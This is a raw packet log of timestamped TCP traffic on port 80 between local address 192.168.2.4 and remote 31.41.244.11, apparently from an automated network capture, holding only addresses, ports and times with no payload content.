Dec 16, 2024 21:02:33.435934067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.435981989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.436769962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.436821938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.436966896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.437019110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.437854052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.437891960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.437905073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.437941074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.438968897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.439021111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.439068079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.439116001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.440135956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.440201044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.440397978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.440455914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.441200018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.441256046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.441313982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.441365004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.442373037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.442428112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.442483902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.442536116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.445593119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.445646048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.446063995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.446100950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.446121931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.446136951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.446142912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.446171999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.446191072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.446211100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.446213961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.446259975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.447132111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.447168112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.447185040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.447208881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.447906017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.447956085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.447968006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.448019028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.449031115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.449084997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.449218988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.449268103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.450232029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.450265884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.450287104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.450318098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.451380014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.451432943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.451435089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.451483965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.452316046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.452368021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.452532053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.452581882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.455574989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.455607891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.455625057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.455643892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.455666065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.455681086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.455689907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.455728054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.456124067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.456185102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.456186056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.456237078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.456953049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.457003117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.590883970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.590945959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.590955973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.591006994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.591106892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.591166019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.591187954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.591212988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.592257977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.592310905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.592334032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.592366934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.593097925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.593154907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.593179941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.593230963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.594141006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.594208002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.594485044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.594692945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.595274925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.595395088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.595417023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.595468998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.596438885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.596499920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.596636057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.596740961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.597553968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.597616911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.597862005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.597918034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.598659039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.598722935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.598958015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.599014997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.599837065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.599905014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.599981070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.600033045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.601074934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.601110935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.601169109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.602041006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.602097988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.602247000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.602298975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.603127956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.603179932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.603216887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.603271008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.604285002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.604334116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.604440928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.604497910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.605483055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.605575085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.605592012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.605621099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.606491089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.606543064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.606609106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.606682062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.607737064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.607800007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.607851028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.608118057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.608690023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.608747005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.608880043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.609019995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.609847069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.609918118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.610059023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.610114098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.610915899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.610981941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.611037970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.611088991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.612020016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.612106085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.612185001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.612241983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.613149881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.613255024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.613260984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.613311052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.614247084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.614459038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.614521980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.615355015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.615443945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.615525961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.615586996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.616530895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.616566896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.616581917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.616617918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.617613077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.617750883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.617805004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.618813992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.618851900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.618876934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.618917942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.619898081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.619935036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.619956970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.619987965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.620995998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.621035099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.621068001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.621099949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.622050047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.622119904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.622163057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.622195005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.623167992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.623228073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.623351097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.623403072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.624252081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.624293089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.624353886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.625395060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.625518084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.625525951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.625569105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.626478910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.626538992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.626935005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.626991034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.627649069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.627716064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.627737045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.627866030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.628788948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.628824949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.628858089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.628890991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.629919052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.629954100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.629978895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.630009890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.630949974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.631022930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.631072044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.631186962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.632067919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.632121086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.632230043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.632278919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.633239031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.633290052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.633327007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.633371115 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.634386063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.634402037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.634465933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.634466887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.635457993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.635539055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.635642052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.635685921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.640103102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.640187025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.640439034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.640572071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.641263962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.641329050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.641344070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.641369104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.642074108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.642138004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.642194986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.642656088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.642707109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.642797947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.642923117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.643739939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.643759012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.643789053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.643819094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.644818068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.644865990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.644886971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.644927979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.645973921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.646049023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.646106005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.646445036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.646981001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.647114038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.647167921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.648102045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.648150921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.648204088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.648252010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.649224997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.649281979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.649432898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.649502993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.650424004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.650480986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.650635958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.650684118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.651506901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.651551962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.783457041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.783482075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.783514977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.783554077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.783813000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.783860922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.783875942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.783906937 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.784708977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.784759045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.784868002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.784921885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.785785913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.785803080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.785850048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.785880089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.786789894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.786859035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.786992073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.787091017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.787731886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.787801027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.787910938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.787965059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.788781881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.788836002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.788921118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.788994074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.789850950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.789879084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.789923906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.791373014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.791424990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.791563034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.791615963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.791987896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.792005062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.792037010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.792069912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.792792082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.792856932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.792963982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.793011904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.793762922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.793823004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.793836117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.793867111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.794847965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.794912100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.795003891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.795126915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.795753002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.795810938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.795916080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.795962095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.796942949 CET	80	49812	31.41.244.11	192.168.2.4
